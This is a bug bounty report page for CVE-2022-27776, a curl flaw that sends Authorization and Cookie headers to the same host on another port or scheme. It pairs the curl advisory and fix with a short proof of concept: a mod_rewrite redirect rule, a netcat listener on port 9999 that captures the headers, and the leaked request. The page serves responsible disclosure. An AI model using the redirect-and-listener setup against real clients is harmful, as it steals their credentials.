CVE-2022-27776: Auth/cookie leak on redirect

Low

Internet Bug Bounty

Submitted None

Team Summary

Official summary from Internet Bug Bounty

Auth/cookie leak on redirect Project curl Security Advisory, April 27 2022 VULNERABILITY curl might leak authentication or cookie header data on HTTP redirects to the same host but another port number. When asked to send custom headers or cookies in its HTTP requests, curl sends that set of headers only to the host which name is used in the initial URL, so that redirects to other hosts will make curl send the data to those. However, due to a flawed check, curl wrongly also sends that same set of headers to the hosts that are identical to the first one but use a different port number or URL scheme. Contrary to expectation and intention. Sending the same set of headers to a server on a different port number is a problem for applications that pass on custom Authorization: or Cookie: headers, as those headers often contain privacy sensitive information or data. curl and libcurl have options that allow users to opt out from this check, but that is not set by default. We are not aware of any exploit of this flaw. INFO This flaw was added in curl 4.9 with the introduction of --location and has been present in all libcurl versions ever released. In July 2000 in the curl 7.1.1 release, this commit was the first version that attempted to avoid this, but the check has been bad since then. In 2018, CVE-2018-1000007 was reported that partly addressed this area - but in an incomplete way. The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2022-27776 to this issue. CWE-522: Insufficiently Protected Credentials Severity: Low AFFECTED VERSIONS Affected versions: curl 4.9 to and including 7.82.0 Not affected versions: curl < 4.9 and curl >= 7.83.0 Also note that libcurl is used by many applications, and not always advertised as such. THE SOLUTION In curl version 7.83.0, the same-host check is extended to check the port number and protocol as well. RECOMMENDATIONS A - Upgrade curl to version 7.83.0 B - Apply the patch to your local version C - Do not enable CURLOPT_FOLLOWLOCATION if you pass on custom Authorization: headers or cookies. TIMELINE This issue was reported to the curl project on April 21, 2022. We contacted distros@openwall on April 22. libcurl 7.83.0 was released on April 27 2022, coordinated with the publication of this advisory. CREDITS This issue was reported by Harry Sintonen. Patched by Daniel Stenberg. Thanks a lot! Full Advisory can be found at: https://curl.se/docs/CVE-2022-27776.html

Actions:

View on HackerOne

Reported by nyymi

Vulnerability Details

Technical details and impact analysis

Insufficiently Protected Credentials

## Summary: curl/libcurl can be coaxed to leak Authorization / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host). ## Steps To Reproduce: 1. Configure for example Apache2 to perform redirect with mod_rewrite: ``` RewriteCond %{HTTP_USER_AGENT} "^curl/" RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L] ``` ... the attacker could also use `.htpasswd` file to do so. 2. Set up netcat to listen for the incoming secrets: `while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done` 3. `curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc` The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port: ``` GET / HTTP/1.1 Host: hostname.tld:9999 User-Agent: curl/7.83.0-DEV Accept: */* Authorization: secrettoken Cookie: secretcookie ``` The attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server. This vulnerability is quite similar to `CVE-2022-27774` and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers. This bug appears to be at: - https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L1904 - https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L850 ## Impact Leak of Authorization and/or Cookie headers.

Related CVEs

Associated Common Vulnerabilities and Exposures

CVE-2022-27774 UNKNOWN

An insufficiently protected credentials vulnerability exists in curl 4.9 to and include curl 7.82.0 are affected that could allow an attacker to extract credentials when follows HTTP(S) redirects is used with authentication could leak credentials to other services that exist on different protocols or port numbers.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$480.00

Submitted

Weakness

Insufficiently Protected Credentials